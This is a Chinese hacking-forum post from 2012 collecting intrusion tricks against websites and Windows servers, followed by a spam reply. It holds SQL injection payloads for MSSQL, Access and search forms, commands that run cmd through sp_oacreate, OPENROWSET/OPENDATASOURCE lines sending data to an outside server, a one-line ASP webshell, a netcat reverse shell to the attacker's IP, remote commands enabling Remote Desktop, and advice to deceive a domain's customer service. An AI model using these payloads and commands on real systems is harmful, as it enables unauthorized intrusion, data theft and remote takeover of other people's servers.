找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3646|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关& p# Q- \7 `0 v0 c/ _6 G1 F9 v5 a

% K  w* A9 i, b) Z
" ^+ T) i$ m9 T) zSA点数据库分离搞法+语句:
% u( |9 r, Z9 g9 W* k: k2 d7 G" t9 t  W8 Y
注射点不显错,执行下面三条语句页面都返回正常。1 U/ f+ A3 Q# j  e
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')) l, t( ^% D. N( g8 b& O! z
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
0 |( k. S1 u8 I* Y  xand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
  D& W% j# l: L' u  {& K0 B可以列目录,判断系统为2000,web与数据库分离
4 v6 D3 W; C. D遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。& K- X8 `* }1 q; N  p5 d  F9 s* B! v
在注射点上执行" T5 M8 l  R- i# _/ X
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
+ O: K1 R& \2 y! c页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP+ U9 t6 H9 e2 n2 {0 t* p
还有我用NC监听得其他端口都没有得到IP。
) m6 t+ V1 L% {' k
5 Q+ X9 h5 C2 P+ o通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。
" ?" Z& R. V- ~'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
. l) U; M) p" d: _! m+ w8 @! _) z
' v# z9 Q( ^( r$ ^  g; H5 `;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
. u* e' u( N( m5 i% ?) [- l" a2 m: t1 w* A! i& ~& s8 L) F6 {8 \8 ^, J
现在就猜想是不是数据库是内网而且不能连外网。
  K7 }# d% l3 b% W- P/ g8 B4 Y# v# P1 F

8 z2 N* x" L- ?, T9 k: k9 p7 [access导出txt文本代码
% r+ V* f) {  u6 }& iSELECT * into [test.txt] in 'd:\web\' 'text;' from admin
4 S! O7 G5 U9 H3 D3 s1 p) Y, T" V; s

4 E0 C. p0 U6 N' r6 a* w. n" i4 p: T
自动跳转到指定网站代码头. {1 Z. [$ P/ M& c  [
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
+ w) P" n2 y% f+ d, R* w1 @# {. L& E1 b$ e7 V9 o
" f* x, [; v( o! K5 Y# V
入侵java or jsp站点时默认配置文件路径:
! a5 f7 i+ v- p/ ]9 q! V\web-inf\web.xml: p% i" ]: ?" M
tomcat下的配置文件位置:0 R% P# E8 G  M. L) V
\conf\server.xml            (前面加上tomcat路径)
" a/ R: s- g, Z/ ~) k\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
3 c& H4 e4 ?' I$ o2 V1 j0 k: o; P- _' c+ Z% P; v5 p. y

. f3 E  l# G0 U* `! r& }
/ o. d7 L/ g. n, o" f- n检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:/ N& X, k9 v1 V
-1%23& ^7 b- [# A- Q0 W& m
> 1 b* Z6 D5 n! B2 Y# s
<+ A5 m/ n  B! P6 i( q$ H7 Q
1'+or+'1'='1
7 W0 U% I, J% C' S; h: }id=8%bf# a% f) ~4 N3 u/ X2 D: P; W

7 v+ g9 G" _+ W3 H1 V3 k全新注入点检测试法:
. B; `- T, _  Z7 D: }在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。+ e5 J5 h) W% Q6 r. Q9 ~; X) ?# R

1 F. `- U) z$ z3 n4 N在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。7 v7 ?* O5 |9 }; L9 Q
1 E1 F& @! L9 P5 ]
搜索型注入判断方法:
3 |& i% A' L9 [  g9 z北京%' and '1'='1' and '%'='
+ d/ n2 K8 y* z( C+ a北京%' and '1'='2' and '%'='
5 N0 {( N) |' B$ e' H0 Z, x6 [, `& f% G8 c& q# ^+ `7 l1 b

5 g: A% R# \/ G" t3 j# HCOOKIES注入:
1 D0 e& j$ _9 y: \
; [/ q# ?! b, pjavascript:alert(document.cookie="id="+escape("51 and 1=1"));  \2 h" |( |/ \7 x) ^
# Y9 [# b1 A- g. d1 F4 B& Y1 ^
2000专业版查看本地登录用户命令:2 `9 p1 n# N- d" N
net config workstation0 ~% o6 }5 J. t5 \. J
. |: G$ @# v2 s% F6 O( t. o$ j
, Y- e# o9 a. B5 J
2003下查看ipsec配置和默认防火墙配置命令:
1 S3 y2 I. r) y9 y' _; Q) tnetsh firewall show config8 I. t. T; E- Y3 W% |) s2 X
netsh ipsec static show all
; x! `4 {0 D5 V; D6 H, c
2 d, S8 I& s. F; m0 i% Z0 C不指派指定策略命令:
/ O8 w* ]  L: W6 F/ Bnetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)5 K# F) [7 P0 n3 D  d/ Y4 z" V2 r
netsh ipsec static show policy all  显示策略名- z3 v# W& E) i: g4 V1 Q

% P# c+ q; `* c& W% D" F7 e: `0 v  X9 q$ {5 Z9 c
猜管理员后台小技巧:$ o1 ]7 P% R( A1 |$ v6 u6 L' ^
admin/left.asp
, g( [" _0 n! l+ U& G" iadmin/main.asp
1 E% x( A; t' y& L9 g! }admin/top.asp
9 I8 l, r- b1 a2 t: Madmin/admin.asp 9 R7 \) E! r, n& a: c& T
会现出菜单导航,然后迅雷下载全部链接
& E# T2 L! d! `  W4 D; V9 G. b9 i8 V7 [

! p$ i, v& p  D  e+ v% ]& Q4 @+ t9 X社会工程学:, u0 r/ l. p; G" R9 {  v
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人- x: y) j/ N- y4 T6 ?
然后去骗客服7 N: n- Y: ^7 h' {: x
3 B$ P) M7 K5 v1 u% F. Y

9 n6 z0 a. Y* A5 d; v1 k统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码: : a" H0 V! H" T
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
+ |' i" m( w/ A6 j# n2 s# [  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。- |$ k1 Q: F  F3 k, l6 D

- [& r. _! _: D& g( A" k
- O( K1 ?$ W' x; ^7 q3 S& Y: c$ ?! h. y* r: z
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
$ h' W7 `8 T. D0 W8 @' Z
' u+ c2 O$ A# A, G/ }
; N6 g7 D5 X5 Z( i' s5 Y# n+ v: h* F6 B- N  ^1 q& q! `
CMD加密注册表位置6 P) ?* [% w6 X- I
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
# I  j" A' g/ a; @* [" D8 Y/ dAutoRun9 x" O% ?* H+ N* ^
$ C. _: Q3 n' e+ L) o+ L
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor+ r+ d* q( G) z; E" s
AutoRun* T; t& `' l9 F2 Q: j, \- k

8 ]! F& ^% k8 `5 L1 Y8 S- t8 K4 y1 ~$ l/ v7 J$ I% Q
在找注入时搜索Hidden,把他改成test3 v: Q- m- p- O$ O* P- b

1 e  q- z! h1 n' ~: x
# g7 L1 R5 S' u9 P9 J
9 x% I* A3 g9 f+ B& Wmstsc /v:IP /console
: i3 h4 \) \8 x- {& `- K
- N3 }5 L, U1 N( k  _2 G- C3 a' J+ S* V; G3 [2 v: X3 X
一句话开3389:
5 |# {! U9 e8 u0 E! m: X
2 k  O/ {/ {7 R& }- `9 A最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
2 h' j- r" T6 M9 U" m$ D) \( d8 h开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.* ^% d* w& Q: A

& e6 u( R1 m  }$ o9 k$ H. U5 \1 H& ^0 O0 N( |
知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
9 E8 A6 s( D) V  @) ZInsert into admin(user,pwd) values('test','test')
6 g' S5 A/ P' P3 ~) ^, ]2 _9 n
" W# ^" H# p" T' _- v5 i1 Y9 D1 p) X1 ]" [
NC反弹
/ h: f) O! z& g* `先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   
0 x% i* D2 H5 j. c然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)5 b3 u* p* R/ t- D; b& D# z
+ Y) [, O+ a' |$ p4 e4 i! }8 Y

' y, D. H( `5 c+ E& \在脚本入侵过程中要经常常试用%00来确认下参数是否有问题" j8 I3 E& K. O: A" j
  e% d& F, d2 u  D. l
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
& C" N& @0 t, P" _# }6 V! r例如:/ ]1 N( k9 g! p  F  Y
subst k: d:\www\ 用d盘www目录替代k盘
+ c; |& F; ^/ t5 L4 E- qsubst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表